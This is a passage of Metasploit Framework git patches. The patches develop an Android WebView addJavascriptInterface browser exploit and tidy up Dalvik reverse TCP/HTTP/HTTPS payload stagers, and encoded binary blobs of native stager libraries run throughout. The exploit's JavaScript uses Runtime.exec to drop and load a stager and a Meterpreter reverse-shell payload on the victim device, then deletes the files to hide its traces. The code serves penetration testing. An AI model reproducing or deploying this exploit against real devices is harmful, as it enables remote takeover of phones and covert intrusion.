zuM`P7vcv3b10T+6L2t}@T1#*jx{j|Oc~R#~u7kBZM`eBhEb3??x*KfH%c zYlivQh{GZGDB*p68Z~D>jc(kuAhojdddl z^|o8|yi$rIB5P^1+I_54n0FCC)1etPx%QSb@xjAKx#b5xBJ<0aNAFob%DUl%X6lz{ zXs9y4iCTm2Joq@aUm(i759X!OLV!hH?S^69-^hmEmoHc|BvxBS;* z9G`3P)lYwf@sYv4>m?S*&5M?fI*3e4oGAb~|-jVQBp&m~%EFgR7TmRixXS zEgWV(_!rLQQb+|I8b`*~GqUj)`Qe@;T>Yh6X|~edbeNR+hyS>bZ`^(l17mBctlbJj z=Rh)yMDZCM!z}0?7nl6PnRx^VDg?2FC`Jd*p>n=*ur^Dr*FUY$vTX!BO1E^ zjmlsxWZ42{?q}jNHBHJ&4Hk+LRP$cUmeA@LNp%%wkybPW;??KE=qZSkqS{_5oAht+ zqNO=!2A7G5!6I|7ZMW{z<&yG z+L`mgU~+-y0jdl5@blcS5mYtrTRMKWK;x#{T!*|1Ydc3XbwAe)qM%BnofW{ehbN;> zCf5)!5@@zkPBqe>ebq%lrwc6DLo5cIS5DR%`2!)K#$>(36MU245%n}%ZQeNDST@iW zFKR>>D(7-0NzBMViNQ*V*qR=T&JBOVhJw zWP|R*BGlTR+n$_eq!QDr*O)tglu9{f-_g@VvF#HGp-0I{$+G{*DW=|-#hSt=>nEps z0lMr36+0^-j1u6n-LEs(x|E?L?#lul%8IQp+sOF%-7n@vZu2xcJB^AVi7l1b&I=?g zZq7lKq*UUGy^|a}ahllX0i*S!&-4UIsLkv{{SNhx#KMl353&8F*ZZi?_t;p;OSo#; zFj%%!%a%$hqFRoKtm(N^y$A0h`0m34<(S!ele->zmXJA&5!5vg`J?~4qX%H~;eTur z!d(RKA_6{ZbKTt&%*?fVr0p)Ep$DiDSu&-oYL7YxzL8GFnw?5SjG#|XNrdj$~yq{6$7>MDH z2cP4H@9xZ<)d=b`G)o~%^Tk|-X2sFD{MZ5S9XMB<=l9?+^2v>2EKoEf*Jq*~{B^$6GHy z1#)F1VnNyd;uJn8yC;uRYqp6*^Q|>4oIbeRtZ4&noX%5cCm@0^{Ld3y%J@)~|C!j! zBNMwxstFj2pMK^>cVOcBe8X@lWA^PcD_33rNuv16#zr;^iWkE`xr}!APfW1`TgYY% z+Nu#w9VuQLAZU?73wqIj2BqC3JGk=;E2Z=^ z0tCqRJ@QJt;a4V#F92f%?S4s;pmfhw!L`uVT(R$5Y@YiCV8wvXn(pAPYux0nuboZJ z(GQ?337q|pPDSf~`9U$}?Wk_-0_yNzQL2%(=Rae0w5PuKR$|e1{g6NU@}IZ^6W>1D zqR94%RL5DeRx~8|Ishtv+!o>-jy^c%Z0yt?TNki{7Zj` z*bQjd+RfEjGY8i=@nSgi{3qSyu7B-Ez;71dS#B}p!%yyfiz641qEG&Ei3+OGiu^`bHOA{q>5uzUCI6oVGFiRi6Sok1DTlF`W zyMX*J!+&>XcJ_9UNKL&|q@XR0g4EWc_7_7`X$KsG6EFsk;2nH`Pf%g~x~??TgQmJs zrc>Q%q7fteJ1g2)G3o_chT3LL$~;!WdoP8v$o7R-?!f=cx!8nonNK9yv}xig5nR6{?t>*tAnsZJI@ZOPo ZRGiiSHLrJh&yw#f@jh!P{3T!B%^%F5jrsrp diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index a6adcc1f77..a2ed71120c 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -43,8 +43,6 @@ module Metasploit3 files = [ [ "AndroidManifest.xml" ], - [ "res", "drawable-mdpi", "icon.png" ], - [ "res", "layout", "main.xml" ], [ "resources.arsc" ] ] From c76924e946078e98d65ae4d2084a52691702ad59 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 25 Feb 2014 00:13:18 +0000 Subject: [PATCH 12/58] native jni stager --- .../browser/webview_addjavascriptinterface.rb | 34 +++++++++++++------ 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 40c5461117..344403fd8e 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -58,9 +58,9 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'], ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'] ], - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'DefaultOptions' => { 'PrependFork' => true }, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', }, 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate' => 'Dec 21 2012', 'DefaultTarget' => 0, @@ -86,6 +86,12 @@ class Metasploit3 < Msf::Exploit::Remote send_response_html(cli, html) end + def dalvikstager() + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libdalvikstager.so') + data = File.read(localfile, {:mode => 'rb'}) + data + end + def js %Q| function exec(obj) { @@ -94,18 +100,26 @@ class Metasploit3 < Msf::Exploit::Remote // get the runtime so we can exec var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); - var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}"; + var runtime = m.invoke(null, null); + var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}"; + var libraryData = "#{Rex::Text.to_hex(dalvikstager, '\\\\x')}"; // get the process name, which will give us our data path - var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); + var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); var ch, path = '/data/data/'; while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } - path += '/#{Rex::Text.rand_text_alpha(8)}'; + var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; + var stagePath = path + '/stage.apk'; - // build the binary, chmod it, and execute it - m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor(); - m.invoke(null, null).exec(['chmod', '700', path]).waitFor(); - m.invoke(null, null).exec([path]); + // build the library and chmod it + runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor(); + runtime.exec(['chmod', '700', libraryPath]).waitFor(); + + // build the stage, chmod it, and load it + runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor(); + runtime.exec(['chmod', '700', stagePath]).waitFor(); + + runtime.load(libraryPath); return true; } From 5c2168513ac32398db0b973362834b305df657ae Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 11 Mar 2014 11:03:36 -0500 Subject: [PATCH 13/58] Update path in #dalvikstager. --- .../android/browser/webview_addjavascriptinterface.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 344403fd8e..66a4251444 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -86,10 +86,9 @@ class Metasploit3 < Msf::Exploit::Remote send_response_html(cli, html) end - def dalvikstager() - localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libdalvikstager.so') - data = File.read(localfile, {:mode => 'rb'}) - data + def dalvikstager + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'libdalvikstager.so') + File.read(localfile, :mode => 'rb') end def js From 15b1a5931c866244a8af782c251b122f493bba27 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 11 Mar 2014 11:56:05 -0500 Subject: [PATCH 14/58] Remove extra resources from android reverse_http(s). --- .../payloads/stagers/android/reverse_http.rb | 12 ++++-------- .../payloads/stagers/android/reverse_https.rb | 17 +++++------------ 2 files changed, 9 insertions(+), 20 deletions(-) diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index cafd8af906..429cb06ae9 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -29,8 +27,8 @@ module Metasploit3 [ OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) ], self.class) - end - + end + def generate_jar(opts={}) host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s @@ -45,8 +43,6 @@ module Metasploit3 files = [ [ "AndroidManifest.xml" ], - [ "res", "drawable-mdpi", "icon.png" ], - [ "res", "layout", "main.xml" ], [ "resources.arsc" ] ] diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index 81a5b2a7a1..a9496ebdf2 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -1,10 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -# require 'msf/core' require 'msf/core/handler/reverse_https' @@ -18,21 +15,20 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Dalvik Reverse HTTPS Stager', 'Description' => 'Tunnel communication over HTTPS', - 'Author' => 'anwarelmakrahy', + 'Author' => 'anwarelmakrahy', 'License' => MSF_LICENSE, 'Platform' => 'android', 'Arch' => ARCH_DALVIK, 'Handler' => Msf::Handler::ReverseHttps, 'Stager' => {'Payload' => ""} - )) + )) register_options( [ OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) ], self.class) - end - + def generate_jar(opts={}) host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s @@ -47,8 +43,6 @@ module Metasploit3 files = [ [ "AndroidManifest.xml" ], - [ "res", "drawable-mdpi", "icon.png" ], - [ "res", "layout", "main.xml" ], [ "resources.arsc" ] ] @@ -60,5 +54,4 @@ module Metasploit3 jar end - end From 679cb03ac3140f43483853807e3021c00482042e Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 11 Mar 2014 13:09:50 -0500 Subject: [PATCH 15/58] Yank armeabi-v7a bins. --- .../android/libs/armeabi-v7a/libdalvikstager.so | Bin 13436 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 data/android/libs/armeabi-v7a/libdalvikstager.so diff --git a/data/android/libs/armeabi-v7a/libdalvikstager.so b/data/android/libs/armeabi-v7a/libdalvikstager.so deleted file mode 100644 index 01f47d9a3704183e404d3e7b9ee7f8ca0276b9fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13436 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 Date: Tue, 11 Mar 2014 19:48:39 -0500 Subject: [PATCH 16/58] Oops. Add missing dir to dalvikstager path. --- .../exploits/android/browser/webview_addjavascriptinterface.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 66a4251444..9024a454c8 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote end def dalvikstager - localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'libdalvikstager.so') + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libdalvikstager.so') File.read(localfile, :mode => 'rb') end From f9972239cfb76be42304598b12c08f637fd7c27e Mon Sep 17 00:00:00 2001 From: Tim Date: Sun, 23 Mar 2014 16:36:26 +0000 Subject: [PATCH 17/58] randomize payload filename --- .../browser/webview_addjavascriptinterface.rb | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 9024a454c8..f2e9cfaaaa 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -86,12 +86,14 @@ class Metasploit3 < Msf::Exploit::Remote send_response_html(cli, html) end - def dalvikstager - localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libdalvikstager.so') - File.read(localfile, :mode => 'rb') + def ndkstager(stagename) + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libndkstager.so') + data = File.read(localfile, :mode => 'rb') + data.gsub!('PLOAD', stagename) end def js + stagename = Rex::Text.rand_text_alpha(5) %Q| function exec(obj) { // ensure that the object contains a native interface @@ -101,14 +103,14 @@ class Metasploit3 < Msf::Exploit::Remote var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); var runtime = m.invoke(null, null); var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}"; - var libraryData = "#{Rex::Text.to_hex(dalvikstager, '\\\\x')}"; + var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename), '\\\\x')}"; // get the process name, which will give us our data path var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); var ch, path = '/data/data/'; while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; - var stagePath = path + '/stage.apk'; + var stagePath = path + '/#{stagename}.apk'; // build the library and chmod it runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor(); @@ -119,6 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote runtime.exec(['chmod', '700', stagePath]).waitFor(); runtime.load(libraryPath); + runtime.exec(['rm', stagePath]).waitFor(); return true; } From 25ca0552e0f5114b6f7fdb685f0934217f9543d6 Mon Sep 17 00:00:00 2001 From: Tim Date: Sun, 23 Mar 2014 17:00:29 +0000 Subject: [PATCH 18/58] cleanup files after exploit --- .../exploits/android/browser/webview_addjavascriptinterface.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index f2e9cfaaaa..cab66ca0f4 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -111,6 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; var stagePath = path + '/#{stagename}.apk'; + var dexPath = path + '/#{stagename}.dex'; // build the library and chmod it runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor(); @@ -122,6 +123,8 @@ class Metasploit3 < Msf::Exploit::Remote runtime.load(libraryPath); runtime.exec(['rm', stagePath]).waitFor(); + runtime.exec(['rm', libraryPath]).waitFor(); + runtime.exec(['rm', dexPath]).waitFor(); return true; } From 46f7e6060fd651abb2a99ac4d314bad6d986f5de Mon Sep 17 00:00:00 2001 From: joe Date: Tue, 25 Mar 2014 09:39:53 -0700 Subject: [PATCH 19/58] Add the updated bins from timwr. --- .../libs/armeabi-v7a/libdalvikstager.so | Bin 13436 -> 0 bytes .../{libdalvikstager.so => libndkstager.so} | Bin 13432 -> 13432 bytes .../{libdalvikstager.so => libndkstager.so} | Bin 5328 -> 5328 bytes .../{libdalvikstager.so => libndkstager.so} | Bin 5220 -> 5220 bytes data/android/meterpreter.jar | Bin 38353 -> 38353 bytes data/android/metstage.jar | Bin 1851 -> 1851 bytes data/android/shell.jar | Bin 1853 -> 1853 bytes 7 files changed, 0 insertions(+), 0 deletions(-) delete mode 100644 data/android/libs/armeabi-v7a/libdalvikstager.so rename data/android/libs/armeabi/{libdalvikstager.so => libndkstager.so} (81%) rename data/android/libs/mips/{libdalvikstager.so => libndkstager.so} (92%) rename data/android/libs/x86/{libdalvikstager.so => libndkstager.so} (59%) diff --git a/data/android/libs/armeabi-v7a/libdalvikstager.so b/data/android/libs/armeabi-v7a/libdalvikstager.so deleted file mode 100644 index 01f47d9a3704183e404d3e7b9ee7f8ca0276b9fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13436 zcmeHOe|%I|mA`N14H<^ey!^n@wAvSb)X+jQ0j#l2+W}$-Y> zHFT{^eo!zrOZcU<7I}5~C|J~hy4!V2jdr(Pt^IuHwtiZb)tUErHch*dTGpacXTRS! z?+ud_wC>;B4=3lId(S=R+;h)8_r5oe?H{kJkt9ht#VtyOLoGz(!V0U$vrwoa2Yu5- zk(k8xEJ&bEkZo|rgS5)F*+LLJq!eMvf2>T1$L>r+69y0{m;ElFqv$`1e!>ON1ol(M zDl^sy^qyjkM=L}{8)pjPz^iB@IQFf^_-y@+7(j63PZW%D{26G6R*b z1L|!48R&l+bafW}Gte?8g~IV;z~^tUNQ<5fhZJS?&jURxi>?KIJd19~av=TjY0wGC zE3)N(c0zv-=vTp5ZTIg5U0ryI{%RJ#3Z8$SKtBgM@gX7hyVLfcnb7|`(4WG5>+F6P z)-5;7-eS-fv*zmueM46ND$q??bTjDTEV>)?(c(+%F$j7H^bvbL$3fqHJ!IPSv!J7( zTWtClpwEC-ZTb(OFM?+Lay@*on}ePH8K70r!*>72Kxg}R1?ZPy-z>X-(**iK&=<1$ z|8W9+2=oo`r!)RvC(ti}4rKL@PM}ku8?*WgF_CO~Ht5(4$gu6J1pQsmb8UJh=mco) z8_vHS^z@mR{QD4SHH$t3TBa}*MZA?dGJzhNK#NeQp(`BP)Z7+sX?`GLli^sTt2ri? ze_~l^Wm{c)xKV75#G=iOqO&d9(cBi>B-*2qHqjA5PeV(4C&zWh!VUL@8k+74Z3;KH zjBD7uHQdpNmT)Azu{pH0?K917jiH8UG!*Ud+e+57wNOncw7G3-Xib`ysGX}=Qp z6?|k3yNrV}?MpJ|VCqY17LAv`I^5hD`FK}DBpPdOZyVoN)85e#X-v;$d=D08Yb$4; zHLrAAsJ$b!IudK@X#Y$`?~?Y`XiJ3Nvi(vWA$bL@ixK0oj&K9Tzjr}HAxFqW%Wc^c zn=kR(HamRI6f*LxhRfN1nVDszj`xu*dwgStH*01#V^)jh%B|^Lxv3*e@7hdQw$%vD z_O|+1I4hXZTo-P`zTX_FN8B}UYHp|w$HLjeNUx5xEDke!T#|Noqze-5=18M8D73M& zllg@TB5jSLrFmm#tg+#iTgp1yNwnIy!N!d(P9@xOfAf79xjE9oCLwSY6L$f4{_t)x z4X^<45x_No+W;)QB>ie 